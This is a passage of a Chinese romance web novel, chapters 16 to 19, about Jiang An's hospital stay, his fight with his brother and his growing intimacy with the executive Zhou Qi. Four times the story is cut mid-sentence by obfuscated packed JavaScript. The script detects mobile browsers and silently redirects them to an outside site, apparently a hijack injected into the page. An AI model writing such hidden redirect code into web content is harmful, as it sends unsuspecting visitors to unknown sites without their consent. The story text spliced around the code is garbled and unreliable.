周齐肯定早就知道他生病了,却没有来。 他想见周齐。很想很想。现在就想。 他把手背上的吊针拔掉,鲜血顺着针孔流出,又被连忙按住,隐隐作痛。胃还是有点疼,不过不像之前那样严重,完全在他能够忍受的范围之内。 下床的时候腿一软,差点摔倒。 这时外面传来脚步声,还有江覃说话的声音。 江覃怎么也没料到,自己刚进门,就被江安抱住,他在自己耳边说了句什么,紧接着,就感觉肚子传来一阵钝痛。 他大惊失色:“江安你疯了吧?!” 16. 第 16 章 “怎么围了这么多人?发生什么了?” “好像是有病人在房间里打起来了。” “什么情况这是,保安呢?通知病人家属了吗?” “保安在那儿呢,病人家属,病人家属……” 护士长神色不愉地瞪了眼新来的,往那边走,“怎么说话都吞吞吐吐的,有什么就直说!” 小护士被吓了一跳,连忙答道:“和病人打起来的,就是病人的家属。” 护士长闻言愣了下,心想这都什么事儿啊,没想到刚走没两步,就被一个黑衣男人拦住。 这时旁边电梯门正好打开,首先出来的是一个坐着轮椅的男人,他穿着身黑色的大衣,腿上盖着灰褐色的毛毯,面容清俊,高冷淡漠。见到护士长后,对她点点头,便往闹事的那个方向去了。 护士长愣在原地,看了眼拦在前面的保镖,便转身回去了。 小护士没弄明白发生什么事了,急忙跟在护士长身后,疑惑地问:“不过去了吗?” 护士长回头看了眼,只见原本还围在病房前的人群已经被疏散开,周围不知什么时候也多了好几个黑衣保镖。她沉吟了一下,对小护士道:“轮椅上的那位是周总,以后见到他都注意着点,不该管的事别管。” “周总?” “嗯,我们这家医院都是周总出资建的。” 这么厉害?小护士连忙跟了上去,一脸的茫然。直到下班回家看到桌子上的杂志,才猛然间想起来这位周总到底是谁。 …… 等周齐到的时候,江安和江覃已经被分开了,一个坐在床上,一个坐在椅子上,脸上都挂了彩,他们背对着对方,谁也不理谁。 周宽弯腰在周齐耳边道:“据说是江覃说了什么话得罪了江安,然后两个人就打起来了。”说着他表情还有些纳闷,也不知道怎么自己就那么会儿没看住,就成这样了。 两兄弟之间的不和周齐也是早就知道,虽然惊讶,却并不意外。淡淡看了眼不远处的江覃,没说什么,操控轮椅去了江安床边。 江安本就大病一场,身体虚弱得很,再加上刚刚又打了一架,脸上也挂了点彩,看起来就更虚弱了。也不知道是不是周齐的错觉,早上还好好的人,现在看似乎瘦了一圈,就连下巴都尖了。脸色看着不是很好,无精打采的,嘴唇更是干裂得起皮。 他没说什么,转身倒了杯水,递给江安:“喝点水。” 江安却只是冷冷地瞥了眼水杯,又抬头看了眼周齐,抿了抿唇,没有动作。 “呵,矫情。”江覃在一旁阴阳怪气。 周齐转头看了周宽一眼,周宽心领神会地对其他人做了个手势,朝江覃走去。 “别碰我!我自己会走!”江覃显然气还没消,一把将周宽的手拍开,站起来拍了拍裤子,最后恨恨瞪了眼江安,扭头就走。却还不忘对江安放狠话:“江安你给我记住了,再有下次我一定不会放过你!” 说罢便转身出去,周宽和其他人紧随其后。房门被关上,屋子里只剩下江安和周齐两个人。 周齐看了眼手上的水杯,轻叹了口气,问道:“真不喝?” 江安从醒过来到现在一口水都没喝,原本倒没什么感觉,现在周齐这么问,突然就觉得嘴里特别干。他舔舔唇,看了眼水杯,犹豫片刻,又撇过头去。 周齐觉得有些好笑,但又怕江安生气,欲盖弥彰地轻咳一声,嘴角却还是勾起了细微的弧度。 在把江安接回家之前,他从未想过自己会和江安以这样的方式相处。 犹记得第一次见到江安的时候,他觉得江安只是个普通的富家子弟,虽然长得很合他的心意,但到底还是感觉少了点什么,兴趣有点,但不多。却没想到第二次见面,江安竟像是变了个人,直接指着他的鼻子骂,惊讶之余,却也觉得这样的江安才像是注入了灵魂,活过来了。 和外界想的不一样,他非但没有因为江安的这些话生气,反倒对他产生了浓厚的兴趣。于是他决定把江安接回家,把他留在身边。 他喜欢这样鲜活的江安。 他喜欢看江安那张脸上露出各种各样的表情,看他因为自己的漠视板着张脸生闷气,看他又因为自己的一句话勃然大怒,也喜欢看他因为自己的一句话,兴奋得笑容满面。 这一切既在他的意料之中,也在他的意料之外。 “真的不喝?”他又问了一遍。 见江安还是没理自己,他沉吟了一下:“那就不喝吧。”说着便把杯子放在桌上。 “谁说我不喝的?”江安终于正眼看向周齐,冷笑一声,拿过杯子仰头就把里面的水给喝完了。他抹了抹唇,像是在发泄着不满,用力将杯子放在桌上。 却没什么声音,是纸杯。 气势很足,结局却不尽如人意。 怪尴尬的。 江安轻咳一声,默默地收回手,缩进被子。 周齐见状终于是没忍住,嘴角的弧度越来越大,终于露出了今晚的第一个笑。 “还要吗?”他看了眼纸杯,眼角眉梢都带着戏谑。 这下江安再也憋不住,也跟着笑了起来:“要。” 所有的委屈和难过,全在看到周齐的那一瞬间,消失殆尽,余下的只有开心和满足。 就着周齐的手又喝了点水后,他又不想喝了,感觉脑袋晕晕的,缩进被子里,只露个头在外面,眼睛眨也不眨地看着周齐,不肯移开视线。 周齐以为他不舒服:“肚子又疼了吗?” 江安摸着肚子,仔细感受了一下,摇摇头:“不疼了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861115|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周齐看着他眉骨上的擦伤,想说什么,最后话音一转,问道:“饿了?” 说起来江安几乎一整天都没吃东西,但身体不舒服,到现在也没什么胃口:“不想吃。” 他看着周齐将自己剩下的半杯水喝掉,舔舔唇,又道:“但是感觉身上有些冷。” 周齐闻言愣了下,伸手去摸他的脑袋。不知道什么时候发烧的,烫得惊人。 “你发烧了。” 他按下呼叫铃,又把被子往上提了提。 也许是生病会让人变得脆弱,江安看着周齐的这番动作,不知怎么的,眼睛突然就觉得有些酸。他眨眨眼,还是没忍住,闷闷地道:“今天下午……” 话还没说完,就听到周齐手机突然响了起来。 周齐对他做了个手势,接通电话。 “什么事?嗯,我现在有空,你先说。” 他看了眼江安,操控着轮椅来到窗边,背对着,时不时应上一声。 江安怔怔地看着周齐的背影,因为见到周齐而产生的喜悦突然就这么消散了大半。 等周齐挂断电话,已经是半小时后了,这时医生也给江安打上了新的点滴。他躺在床上,闭着眼睛,面色苍白,液体顺着细长的导管被源源不断地输送到身体里。 周齐将手机收起来,来到床边,摸了摸他的右手,因为输液已经变得冰凉。又摸了摸他的额头,却仍旧是烫得惊人。 周齐沉默地看着江安,指尖顺着额头缓缓往下,神色认真,像是在描摹着一件艺术品。 这时江安睁开眼睛,看向周齐。 周齐顿了下,收回手,“我以为你睡了。”语罢他又接着道:“你刚刚想说什么?” 江安摇摇头,就连说话都没什么力气了:“没什么。“话音一转,又问:”您不问我为什么和江覃打架吗?” 周齐只知道江家两兄弟的不和,却不知道他们为什么关系这么差。这都是江安的家事,他不会插手。 于是他道:“你有你的理由。” 但江安并不满意,执着地追问:“你应该问我为什么。” 就连敬称都不用了。 周齐深深地看了眼江安,问道:“你为什么和江覃打架?” 江安嘴角勾起,眼睛也笑出了一个好看的弧度,他看着周齐的眼睛,认真地道:“因为这样你就会过来看我了。” 这是周齐没想到的回答,他愣住,以为自己听错了:“什么?” 江安舔舔唇,脸上的笑容更大:“因为这样,你就会过来看我。” 因为周齐没过来,但他想见周齐,可惜他没有更好的理由让周齐过来。于是他就只能制造出一些麻烦,让周齐不得不过来。 “你看,你现在不是就在我身边吗?”江安得意地道。 17. 第 17 章(修) 周齐脸上没什么表情,就这样看着江安。气氛一时间就这么被冻住了。 而江安也是毫不退让地看着周齐,说道:“因为,我想见你。” 过了一会,周齐终于开口:“为什么?” 为什么?江安也想问自己。眼中闪过一瞬的茫然,随即又重新变得坚定起来:“没有为什么,只是想见你。” 周齐看着江安眉骨上的擦伤,已经处理过了,却仍是微微红肿。他伸手按在上面,面无表情地用力往下按,只把江安疼得直往后缩,龇牙咧嘴,那双眼睛却是执着而又明亮的。 “疼吗?”他问。 江安:“疼。” 周齐又问:“就为了这么一个微不足道的理由?” 江安认真地看着他:“是的。” “即便把自己弄得遍体鳞伤?” “是的。” 话音刚落,周齐便转身离开了。 房门被轻轻带上,留下的只有一室寂静。 江安扯了扯嘴角,闭上眼睛。 说不失望是不可能的,但江安也明白,他总是把现在的周齐当成上辈子的那个周齐,下意识就认为周齐应该对自己好。他总是忘记,这辈子他和周齐满打满算也才认识了一个月不到,甚至他们两个之间还发生过激烈的争吵,就算周齐不在意,甚至是讨厌他……也是应该的。 “那就直接把我赶走啊……” 他扭头把脸埋进枕头里,声音闷闷的。 “什么赶走?” 江安愣住,怀疑自己听错了,连忙从床上爬起来,却忘了自己发着烧,手上还吊着水,脑袋一晕又重新倒了下去,吊针也移了位,鲜红的血液透过纱布洇了出来。 缓过神后,他抬眼望去,却见周齐已经到了他面前,手上拿着瓶药水和棉签。 “你刚刚说什么赶走?” “哦,没什么。”江安懒懒地道。 “嘶——”手背上突然传来一阵刺痛,转头看去,周齐竟是直接把吊针给拔了出来。 周齐再一次按下呼叫铃,像是知道他在想什么,听不出什么情绪地道:“让医生过来给你重新扎针。” “哦……”江安脑子还没转过来,直到周齐按住了还在往外冒血的针孔,才反应过来,又闷闷地“嗯”了声。他瞥了眼周齐,却发现对方正直直看着自己,又装作若无其事地闭上眼睛。 护士很快过来,给江安重新扎了针,又嘱咐了别乱动,这才离开。 一通忙活之后,江安浑身无力地躺在床上,烧还没退,扎针的手换成了另一只,左手看着有些肿,冷冰冰的,一点力气也使不上。身上更是时冷时热,就连皮肤都隐隐泛着疼。 转头看到周齐把药水瓶子拧开,又用棉签蘸了点,这才发现是碘伏。 “把头转过来。”周齐说。 江安把脑袋转过去,正对着周齐。 只见周齐缓缓俯下身,离他越来越近,越来越近……眼见着就要贴到一起的时候,周齐突然轻笑一声,用棉签擦拭起了他额头上的伤口。 “上面的药被我抹掉了,就去问护士又要了点碘伏。” 顿了顿,他又道:“下次想见我就直接跟我说,不用这么拐弯抹角。” 提着的心又缓缓落了回去,却像是有羽毛在心尖上挠,轻轻的,痒痒的。 “……哦。” * 其实第二天江安已经感觉自己差不多好了,想要回去,结果话刚说完,胃里就传来一阵绞痛,强烈的便意涌上心头。然后晚上又开始发烧。 于是他又迫不得已在医院里多住了两天。 接下来两天周齐一直在医院陪着江安,就连开会都开的线上会议。当然,是去隔壁房间开的。 他住的病房还算大,一室两厅,晚上的时候周齐就睡在隔壁房间。 半夜,江安又烧起来了,好在只是低烧,精神却很好,躺床上翻来覆去的睡不着。他爬起来想去找周齐,推开门,就发现今晚月光亮得晃眼。 房里没有拉窗帘。 冷白色的月光倾洒在屋子里,斜斜地打在床上,让上面躺着的周齐看起来像是个精致的人偶娃娃。 真想把他藏在柜子里。江安心想。 “周齐?”他舔舔唇,轻声唤道。 但周齐没有一点反应,似乎是已经睡熟了。 准备回去的时候注意到停在床边的轮椅。 他走到床前又喊了几声,周齐还是一点反应都没有,应该是睡熟了。 “睡这么死,这么没警惕心。”他小声吐槽,“要是有人派什么杀手过来暗杀你,你连自己怎么死的都不知道。” 转身却坐到了周齐的轮椅上。 轮椅是电动的,扶手上有按钮,以前江安就有玩过,现在操作起来更是轻车熟路。 他突然想知道,周齐每天坐在轮椅上是什么感觉。 自卑?悲伤?难过?生气?愤恨? 应该都不是。 像周齐这样的人,又怎么可能会有这么多情绪。他只会觉得出门不方便了,影响他工作了。 但不要紧,他有钱有权,只要他一句话,就会有大把的人愿意每天扛着他和轮椅到处跑。 想到这个画面江安不厚道地笑了起来,又怕把周齐吵醒,只能捂着嘴闷闷地笑。当然他也知道这不可能,毕竟周齐不是这种人。 笑够了,江安又觉得心里特别空虚。这时他注意到墙边有个书架,上面竟然还放着不少书。 要知道这里可是医院病房,谁家医院还给你准备这么多书啊。 操控轮椅滑过去,随便挑了几本看,发现是一些经济学方面的书籍,还有医学类的,他根本就看不懂。想把书放回去的时候,才发现这些书竟然都放在自己能够得到的位置上。 他动作一顿,回头看了眼周齐,轻轻把书放回去。 之后江安又坐着轮椅在房间和客厅里来回跑了几趟,一开始还觉得有些好玩,后面又觉得没意思,要是一直让他坐在这上面不能动的话,也怪折磨人的。 最后他又回到周齐房间。 周齐还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861116|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在睡着,只是似乎梦到了什么不好的东西,眉心紧簇,看起来不太安稳。他神色复杂地看了周齐一眼,将窗帘拉上。 “睡觉也不知道把窗帘拉上,这么亮,也难怪你会做噩梦。” 房门被轻轻关上,发出“咔嗒”一声轻响。周齐睫毛轻颤,眉毛皱得更紧了。 这时房门又被推开。 江安走到周齐床前,指尖轻抚眉心,将皱痕抹平。 黑暗中,他俯下身,轻轻在周齐的眉心处印下了一个吻。 “看在你陪我这么久的份上,给你的奖励。” 滚烫的唇轻吻在微凉的眉心处,带着些微的粗糙感,烫得让人心惊。 * 等终于出院了,江安发现自己这次是真真实实地瘦了一整圈,就连下巴都尖了。 回去依旧是周宽开车。这两天他一直在公司和医院往返,人看着似乎也瘦了一圈,脸色不大好,估计是累的。 这时候江安才想起来潘乐游。只是这时候潘家到底出了什么事他是真的想不起来了,只记得大概是很严重的事情,不过应该不要紧,他印象里潘乐游后来还结了婚,公司也蒸蒸日上。 发了几条短信对方都没回,江安索性也就没再管,等潘乐游把事情处理好了自然会来找他。 他不着痕迹地看了眼周齐,又给江覃发了条短信。 果不其然,短信刚发过去没几秒江覃就开始短信轰炸,江安直接把他拉黑,想着等江覃心情平复了再把他放出来。 也许是身体好了,再加上周齐陪了自己这么久,江安心思也跟着活络起来。只是他也不知道自己该和周齐说什么,纠结半天,终于还是选择了一个并不是那么好的话题。 “我和霍阳初中的时候就不对付了,只是我本来以为大家都毕业这么多年了,不至于记仇记到现在。” 周齐停下动作,转头看了眼江安,淡淡地应了一声。 江安没有和周齐说那天中午发生的事,但他知道周齐一定早就查清楚来龙去脉了,所以也就没说事情的经过,而是直接挑重要的信息说。 “和他结仇也是因为那天他们在欺负潘乐游,当时我就是年轻气盛嘛,英雄主义,看不过去,就直接上去把他们揍了一顿。”他舔舔唇,不自觉地瞥了眼周齐,又扭头看向窗外,“后来他就盯上我了,一直到初中毕业……应该算是校园霸凌吧。” 说完他没忍住又观察了下周齐的表情,见他微微挑眉,转头看向自己,似乎是来了兴趣。 “其实我也不是干不过他,就是,你知道的,江博瀚那个人吧,他不让我和霍阳动手,还逼我道歉……当时霍阳就说,要我跪下来给他磕头……” 周齐微微蹙眉,似乎是有些不愉。 于是江安接着道:“然后江博瀚就直接用棍子打我的腿,强迫我跪下去,按着我的头给霍阳道歉。但霍阳还是觉得不够,就这样一直针对了我整整三年。” “所以……” 江安舔舔唇,一脸期待地看着周齐。 你会怎么办呢?周总。 18. 第 18 章(修) “您认为,我能怎么办呢?” 却不料周齐并没有如他所想的回答,而是突然问道:“你知道霍阳的父亲是谁吗?” 江安眨眨眼,点了点头:“知道。” 周齐又问:“那你应该也知道,周家和霍家是多年的合作伙伴。” 江安的表情明显有些不愉,却又不能发作,闷闷地“嗯”了一声。 于是周齐夸奖道:“知道就好。” 他伸手去摸江安的头发。 江安侧过头,往旁边一闪。 周齐看着好笑,收回手,摇摇头,故作不满地板着脸:“又不乖了?” 江安对“乖”这个字有些敏感,闻言眼睛一亮,死死地盯着周齐,阴阳怪气地反问:“您觉得我哪里不乖了?” 却不料周齐并没有顺着这个话题继续,而是认真地回答起了这个问题:“可能是,不够听话?” 江安挑挑眉,显然是相当不满了:“不够听话?” 周齐微微蹙眉,认真思考着这个问题:“就比如说,动不动就生气。” 生气?江安这时候又对自己的脾气没有认知了,鼓着张脸,不满地纠正道:“我脾气超好,从来不生气。” 周齐轻笑一声,又道:“但是会惹我生气。” 江安动作一顿,无法反驳,却还是梗着脖子说:“我不会惹您生气。” 却见周齐嘴角轻勾,玩味地道:“又比如……” 江安没意识到自己的思路被周齐带偏了:“比如?” 周齐沉声道:“你该和我上床了。”说完他又扯了扯衣领,揶揄地看向江安:“你过来多久了?” 江安的思绪已经完全被带偏了,脑袋里只有“上床”这两个字,喉咙有些发紧,手脚也不自觉地发麻。他浑身僵硬,双手死死抓着座椅,顺着他的话答道:“大概,快半个月?” 周齐说:“很多人都说我养了一只金丝雀。” 所以? 周齐叹道:“结果养了这么久都还没吃到嘴。” 似乎是有点可怜了? 周齐将手放在江安的手背上,指尖轻轻滑动着,和他十指相扣:“那么……我的金丝雀,是不是该履行一下自己的职责了?” * 第一次上床该做什么准备?江安不知道。 毕竟上辈子他和周齐的第一次似乎也没做什么准备。 那是一场晚宴,晚宴结束后,许多人便直接宿在了这里。 那时正好是冬天,外面大雪纷飞,屋里却温暖如春。而江安,则浑身是汗,手忙脚乱,头晕目眩。 而就在他准备有所动作的时候,一种恶心的感觉涌上心头。他连忙翻身下床,捂着嘴干呕。脸上也不知道是汗还是泪。 他突然就决定放弃,他甚至都不知道自己这么做到底是为了什么。他疯狂地擦拭着脸上的泪水,狼狈地逃了出去。 他冲回自己的房间,发了疯似的收拾东西,想要赶快逃离这里。 就在这时,“啪嗒”一声,房间的灯被打开了。 白炽灯将他的无措和卑劣全都照得一清二楚。 他闭上眼,等待着周齐的审判。 可等来的,却是周齐的吻。 周齐什么都没说,只是轻抚着他的头发,俯下身,吻上了他的唇。 那是一个缠绵悱恻的吻,温柔却霸道,持久又迷醉,让人不自觉地沉沦其中,与之共舞。 江安看着不知何时躺在身下的周齐,张了张嘴想问什么,眼前一黑,双唇再次相贴。原来是周齐关了灯,他们回归黑暗。 “和男人做这种事,是觉得恶心吗?”等再一次分开的时候,周齐轻喘着问道。 江安不知道自己该怎么回答,他手脚冰冷,身上却热得发烫。 “既然决定过来了,就不要畏首畏尾。” “还是说,你竟然这么胆小?” “当初骂我的勇气去哪了?嗯?” 年轻人哪里经得住这样的激法,牙龈都咬出了血,混着唾液被一起喂了过去。 他像只疯狂的野兽,掐着周齐的脖子,在他身上发泄着欲.望。而周齐也享受着他的摆弄,他们互相纠缠,互相折磨,直到天光放亮。 直到很久以后的某一天,江安突然想起这个事。为什么自己只和周齐上了一次床,就会一直念念不忘? 可当他转头看到周齐在阳光下浇花的背影,蓦地发现,自己大抵是被人勾了魂,却不肯承认。 * 于是这一次,江安在网上详细查找了资料,买了一些必备品,又虚心请教网友,在网友的指导下看了好几部动作短片,势必要给周齐一个美满的夜晚。 只不过片里的剧情太过超前,有很多江安都不太能接受。就这样挑挑拣拣,在做了满满两页纸的笔记之后,这才敲响了周齐的房门。 时间已经很晚了,周齐难得没有早睡。 “过来。”周齐放下书,对他道。 于是江安发现自己所有的准备都因为这一句话彻底失效,凭借着本能走到周齐面前。身体里的每个细胞都开始沸腾兴奋,年轻的身体连带着他的灵魂都年轻了起来,他就像个毛头小子一样,上了周齐的床。 “会吗?”周齐问。 江安吞了吞口水,磕磕巴巴地答道:“会。” 周齐像是没看出他的紧张和窘迫,从抽屉里摸出早就准备好的东西,塞进江安手里:“这些会用吗?” 江安像是被烫到一样连忙缩回手,却又在下一秒将这些东西牢牢抓在手里,认真点头:“会!” 周齐眯了眯眼,全然一副上位者的姿态:“那就,好好履行金丝雀的职责吧。” 江安顿住,紧接着他就像是被这句话点燃了一样,狠狠咬住周齐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861117|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇。 …… 当身体上有过一些深入交流后,再相处时,总会带着一些若有若无的暧昧,就连平日里一些没人在意的细节,似乎都成了某种暗示。 二十岁的身体正值年少,年轻人的精力似乎永远也用不完。 江安洗了把冷水澡,才堪堪将那股冲动给压下去。 现在是上午十点半,周齐难得的还没起床,正躺在床上回复邮件,脸上带着明显的疲累。可即便是这么累了,他还是在早上六点半的时候醒了,给周宽去了通电话。 江安知道自己不该,却还是不可避免的嫉妒起来。可真要找个嫉妒的对象,却又不知道该嫉妒谁。 他去厨房给周齐冲了杯咖啡,好奇地抿了一口,一股诡异的酸涩味直冲心头,让他不自觉地打了个寒战。 “怎么会有人喜欢喝这种东西?”江安不解,却尊重。 他把咖啡端过去,周齐看到后很明显地愣了一下,又转头处理起了工作:“放这里吧,我过会喝。” 江安没有多想,把咖啡放下。 他趴在床上玩了会手机,看了眼时间,这个点做饭阿姨差不多也要到了,又爬起来将昨夜扔到地上的睡袍换上。 周齐突然道:“这是我的。” “哦。”江安无所谓地将扣子扣好,“我知道啊。” 这时客厅传来门铃声,他过去给阿姨开门,又回到周齐房间,和他腻在一块。 周齐见状终于忍不住问道:“你不腻吗?” 从他们睡醒到现在,江安除了解决必须的生理需求,一直都腻在他旁边。 江安淡定地道:“不腻啊。” 说罢又玩起了游戏。 这时手机界面突然跳出一个消息,害得江安一个没注意,给对面送了人头。想着这把左右也是赢不了,江安干脆直接退出游戏。 发消息的是江覃。 【江安你可真了不得啊~】 隔着屏幕都感受到了江覃的阴阳怪气。 因着之前把江覃拉黑了好几个小时,江安也是难得的心中有愧,就连态度都好了不少。 【嗯?发生什么事儿了?】 很快,对面便回了信息。 【你自己去看看新闻吧~】 紧跟着的,是一条网页链接。 江安挑挑眉,疑惑地打开链接,映入眼帘的却是—— 【周氏新布局:集团预撤资悦康及平江项目……】 点进去看,发现周齐竟是要一口气直接把悦康和平江鸿欣商场的股权转让出去。 他连忙看向周齐,却突然想到了什么,去搜了一下,发现这两家鸿欣背后的实际控股人竟然是霍刚。也就是霍阳的父亲,霍氏企业的董事长。 顿时愣住。 这时江覃又发了条信息。 【没想到你还是个蓝颜祸水啊~】 19. 第 19 章 蓝颜祸水? 江安挑挑眉,本以为周齐昨天那番话是在告诉他,自己不会因为他和霍阳的那点矛盾就和霍家翻脸,却没想到这才过去了一夜,竟然就有了动作。 什么时候的事?他怎么不知道?还是说他不够卖力,竟然能让周齐有心思去处理这些事?不过他也没想到,自己重生后第一次和周齐上床,竟然会因为这件事,倒是有些意想不到。 于是心情就更好了。 不着痕迹地瞥了周齐一眼,直接发了条语音过去:“是啊,我可不就是蓝颜祸水吗?” 说罢不等江覃回话,便再一次把他拉黑。哼着歌,往周齐怀里一躺。 周齐接住他,合上电脑放在一旁:“什么蓝颜祸水?” 江安将手机扔到一边,抬眼笑看着他:“江覃说我是蓝颜祸水。” “嗯……”周齐捏着他的下巴,来回打量着,唇角轻勾,“确实长得挺好看的,说蓝颜祸水也没错。” 江安仰着头,任由他看。挑挑眉,得意地问道:“有多好看?” 周齐微微蹙眉,一本正经地答道:“很好看。” “什么叫很好看?” “就是特别好看。” 江安被这种没有营养的对话逗到,翻了个身趴在周齐身上,亲了亲他的下巴:“不行,具体点。” 周齐沉吟片刻,下巴轻抬:“嘴很好看?” “嘴?”江安疑惑地问,“为什么是嘴?” 周齐笑了,指尖轻勾着他的唇峰:“大概是,特别好亲。” 语气轻快,尾调微微上扬,像带了把小钩子,直接钩到江安心尖上去了。 又酥,又麻,又痒。 江安舔了舔唇,红润的双唇立刻沾染上暧昧的水痕,他哑着嗓子道:“那您,要不要亲一亲,看看到底有多好亲……” 周齐垂眸笑着,阳光洒在他的眼睛里,熠熠生辉。 “我尝了,”他咬住江安的唇,含进嘴里,“很好亲,特别特别好亲。” 窗外阳光正好,屋内春光旖旎。 * 自从彻底落实了“金丝雀”这个头衔后,家里的客房也是终于空了下来。 要不是考虑到周齐身体不好,江安怕是要夜夜笙歌。但实际情况是,每次江安还没尽兴周齐就先不行了,有时候甚至能在兴头上直接睡着。 虽然有些苦恼,但江安也没办法,他并没有那方面的癖好。任劳任怨地给周齐清理干净,完事还要再去冲把冷水澡,也是有些可怜。 鸿欣股权转让的事情暂时还没有下文,他问过江覃,江覃说不知道,但他又不想直接去问周齐。通讯录翻了半天,最后视线定格在一个叫“孙文”的名字上面。 其实他和孙文不熟,也就一面之缘。权贵圈里的人都看不上江博瀚,也连带着看不上江安,能弄到孙文的联系方式也是偶然。 上辈子江安刚出狱的时候,没地方住,每天睡在桥洞里,身上的钱也就只够吃几天面包。等钱花光了,他就去那些小餐馆里,偷吃别人吃剩下的饭菜。 那是江安过得最狼狈的一段日子,每天脑子里都想着该怎么活下去。 后来有一次他偷吃被人抓到了,老板说要报警,当时江安脑子里的那根弦就直接断掉了。他害怕回到那个地方,一把将老板推开,发了疯似的逃跑。 而孙文,就是在他逃跑路上撞见的。 孙文竟然还记得他,不仅给他解决了麻烦,还带他去吃了顿好的,又给他开了间宾馆,准备了一套干净的衣服。 他以为孙文想玩他,孙文却说,他喜欢女人,对男人不感兴趣。 后来他就一直住在那间宾馆里,直到被周齐捡回家。 等江安再想起这个事,已经是很多年以后了,那时候他有问周齐,到底是孙文救的他,还是周齐救的他。 周齐却只是笑着,并没有回答。 …… 他拨通孙文的电话,本以为对方不会接,又或者不会这么快接,却没想到自己刚拨通,对面就接了。 在孙文开口之前,江安先自我介绍:“孙总您好,我是江安,之前我们在孟德山庄的慈善晚宴上见过。” “江安?”对方语气疑惑。 江安抿了抿唇,换了种说法:“江民企业,江博瀚的儿子,江安。” 这次对面似乎是想了一下,很快便传来清爽的笑声:“原来是你,我想起来了。”顿了顿,又问:“有什么事儿吗?” 简单组织了一下语言,江安开口道:“是这样的,前两天我在新闻上看到说,周氏集团打算转让悦康和平江这两个市的鸿欣,我看您也持有鸿欣的部分股份,就想问问是怎么个情况。” 对方并未直接回答:“怎么,你也对鸿欣感兴趣?” 江安道:“只是正好看到了,所以想了解一下。” 这次对方似乎犹豫了一下,过了好一会儿才开口:“就资金流优化呗,悦康和平江这两个地方都是二三线城市,把资金转到一线大城市不是更好?” 听孙文这么说,江安心下有了计较,也没再多问,又寒暄了几句之后便挂断了电话。 资金流优化? 江安虽然对商场上的事不太了解,但跟着周齐那么多年,到底也是学到了点东西。就比如这个所谓的“资金流优化”,看起来是双方都利好的事情,背后指不定藏了什么坑。虽不致命,却也能让对方吃一个哑巴亏。 心情突然就好了起来。 江安勾了勾唇角,靠在门框上,双手插兜看着刚进门的周齐:“我下午给阿姨打了个电话,让她晚上别来做饭了。” 周齐闻言看过去。 只见江安径直走到自己面前,在一个很近的地方,俯下身,咬住他的唇就狠狠吻了上来。 “今晚我们吃别的。” 江安用齿尖咬着他的下唇,舌头轻轻撩拨着,暧昧地道:“您想吃什么?” 周齐将他推开,挑挑眉,若无其事地道:“请我吗?” 江安被噎住,却又不好意思说他说的不是这个吃,只得硬着头皮道:“请。” 周齐笑了:“你有钱吗?” 江安:“……” 上次他和潘乐游说的三百块钱是真的。虽然现在还是只有三百,但周齐吃一顿饭肯定不止三百。 像是看出江安的窘迫,周齐接着追问:“是你让陆阿姨不用过来,难道不是你请我吃饭吗?”不等江安回答,他看了眼手表,又接着道:“现在也不早了,说吧,我们去吃什么?” 于是江安在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861118|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经历了一番思想斗争之后,终于厚着脸皮开口:“我们去吃麻辣烫吧。” 周齐:“……” …… 某方面来说,江安的行动力还是很强的。 半个小时后,周齐就坐在了一家看起来有些破旧的小店铺里。店面不大,过道也很窄,光是让轮椅进来就花了好一番功夫,里面大概有十来张桌子,都坐满了人,看起来相当的受欢迎。 周齐从来没来过这里,周围人生嘈杂,空气里更是飘着一股浓浓的鲜香味,他在这里坐了一会,就感觉自己浑身上下都沾满了这种味道。 是有些嫌弃的。 “你有什么不吃的吗?”江安问。 周齐想了想,说道:“没什么,你看着点吧。” 说是这么说,但江安选完菜后,还是对收银员道:“这份正常辣,另一份不要辣。” 这话一出,收银员也愣了,重复了一遍:“这个是要辣的,这个不要辣?” 江安:“对。” 收银员也没多想,把菜篮子递到后厨,喊了句:“这个别放辣。” 点完菜后江安便坐在了周齐对面,抽了几张纸巾将两人的桌子又擦了一遍,笑眯眯地对周齐道:“周总是不是很少来这里吃饭?” 周齐却说:“从来没来过。” 